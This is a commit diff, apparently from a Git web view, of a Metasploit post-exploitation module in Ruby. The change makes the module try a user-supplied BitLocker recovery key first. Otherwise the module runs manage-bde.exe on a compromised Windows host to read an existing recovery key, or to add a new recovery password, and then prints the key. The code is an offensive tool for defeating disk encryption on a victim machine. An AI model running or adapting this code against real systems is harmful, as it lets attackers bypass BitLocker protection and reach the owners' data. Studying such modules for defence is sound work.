if recovery_key specified, only method that is tried

bug/bundler_fix
BAZIN-HSC 2015-11-12 19:20:45 +01:00
parent f49d6905a6
commit dd027982ae
1 changed files with 19 additions and 19 deletions

View File

@ -68,32 +68,32 @@ class Metasploit3 < Msf::Post
print_good("Successfuly opened Disk #{drive_number}") print_good("Successfuly opened Disk #{drive_number}")
seek_relative_volume(0) seek_relative_volume(0)
print_status('Trying to gather a recovery key') if !datastore['RECOVERY_KEY'].nil?
print_status('Using provided recovery key')
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", recovery_key = datastore['RECOVERY_KEY']
"-protectors -get #{drive_letter}:")
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
if !recovery_key.nil?
recovery_key = recovery_key[1]
print_good("Recovery key found : #{recovery_key}")
else else
print_status('No recovery key found, trying to generate a new recovery key') print_status('Trying to gather a recovery key')
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
"-protectors -add #{drive_letter}: -RecoveryPassword") "-protectors -get #{drive_letter}:")
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/) recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
id_key_tmp = cmd_out.match(/(\{[^\}]+\})/)
if !recovery_key.nil? if !recovery_key.nil?
recovery_key = recovery_key[1] recovery_key = recovery_key[1]
id_key_tmp = id_key_tmp[1] print_good("Recovery key found : #{recovery_key}")
print_good("Recovery key generated successfuly : #{recovery_key}")
else else
print_status('Recovery Key generation failed') print_status('No recovery key found, trying to generate a new recovery key')
if !datastore['RECOVERY_KEY'].nil? cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
print_status('Using provided recovery key') "-protectors -add #{drive_letter}: -RecoveryPassword")
recovery_key = datastore['RECOVERY_KEY'] recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
id_key_tmp = cmd_out.match(/(\{[^\}]+\})/)
if !recovery_key.nil?
recovery_key = recovery_key[1]
id_key_tmp = id_key_tmp[1]
print_good("Recovery key generated successfuly : #{recovery_key}")
else else
print_status('Recovery Key generation failed')
print_status('No recovery key can be used') print_status('No recovery key can be used')
return return
end end